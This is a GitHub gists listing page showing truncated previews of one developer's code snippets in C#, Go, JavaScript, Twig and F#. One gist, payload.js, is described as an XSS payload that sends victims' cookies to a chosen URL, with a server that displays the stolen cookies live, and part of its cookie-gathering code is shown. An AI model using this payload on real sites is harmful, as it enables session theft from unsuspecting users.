vkobel’s gists

vkobel / GetKeys.cs

Created May 27, 2013 08:55

Simple method to retrieve the keys of an entity in EF. The thing here is to convert the dumb DbContext into a much more powerful ObjectContext.

	public IEnumerable<string> GetPrimaryKeyNames<T>() {
	ObjectSet<T> objCtx = (ctx as IObjectContextAdapter).ObjectContext.CreateObjectSet<T>();
	return objCtx.EntitySet.ElementType.KeyMembers.Select(k => k.Name);
	}

vkobel / RxDragDrop.cs

Last active August 10, 2020 05:04

Simple Drag & Drop with Reactive Extensions

	using System;
	using System.Reactive.Linq;
	using System.Windows;
	using System.Windows.Controls;
	using System.Windows.Input;

	namespace RxDragAndDrop {

	public partial class MainWindow : Window {

vkobel / wiki.go

Created November 29, 2013 14:05

Simple Go Lang tutorial -> create a wiki

	package main

	import(
	"html/template"
	"io/ioutil"
	"net/http"
	"regexp"
	)

	type Page struct {

vkobel / payload.js

Last active December 30, 2015 12:49

Simple xss js payload that calls a specified URL with the list of the cookies. The second file is the golang code used to display in real time the cookies of the xss'ed victims.

	function listCookies() {
	var theCookies = document.cookie.split(';');
	var aString = '';
	for (var i = 1; i <= theCookies.length; i++) {
	aString += i + ' ' + theCookies[i - 1] + " -- ";
	}
	return aString;
	}

	function xss_send(val) {

vkobel / leftpad.js

Created January 7, 2014 09:26

Simple left padding function in javascript

	function leftpad(padding, val){
	return (padding + val).slice(padding.length * -1);
	}

vkobel / WSServer.cs

Last active August 29, 2015 13:57

Basic structure for a WebSocket communication (multitask ready) with C# / Alchemy

	using System;
	using System.Collections.Concurrent;
	using System.Net;
	using System.Threading;
	using System.Threading.Tasks;
	using Alchemy;
	using Alchemy.Classes;

	namespace WebSocketsDemo {
	class WSServer {

vkobel / base.html.twig

Last active August 29, 2015 13:58

Essential snippets for pjax + nprogress (YouTube like navigation) to work along with Silex/Symfony2

	{# parent template for every standard (non-pjax) requests #}

	(...)

	<link href="{{ res }}/css/nprogress.css" rel="stylesheet" media="screen" />

	<script src="{{ res }}/js/jquery-2.1.0.min.js"></script>
	<script src="{{ res }}/js/jquery.pjax.js"></script>
	<script src="{{ res }}/js/nprogress.js"></script>

vkobel / async.fs

Created April 24, 2014 12:00

F# async simple example. Try it here: http://www.tryfsharp.org/create/vkobel/AsyncSimple.fsx

	open System.Threading

	let workThenWait() =
	async {
	do! Async.Sleep(1000)
	printfn "work done"
	}

	let demo() =
	printfn "started"

vkobel / seqjoin.fs

Created April 24, 2014 13:19

Join / combine 2 seq into one in F#

	let joinseq seq1 seq2 =
	seq {
	yield! seq1
	yield! seq2
	}

vkobel / AgentsSimple.fs

Created April 24, 2014 15:30

Simple F# agents (MailboxProcessor) example. Try it here: http://www.tryfsharp.org/create/vkobel/Agent.fsx

	type CounterMessage =
	\| Update of float
	\| Reset

	let inbox = MailboxProcessor.Start(fun agent ->
	// Function that implements the body of the agent
	let rec loop sum count = async {
	// Asynchronously wait for the next message
	let! msg = agent.Receive()
	match msg with

Vincent Kobel vkobel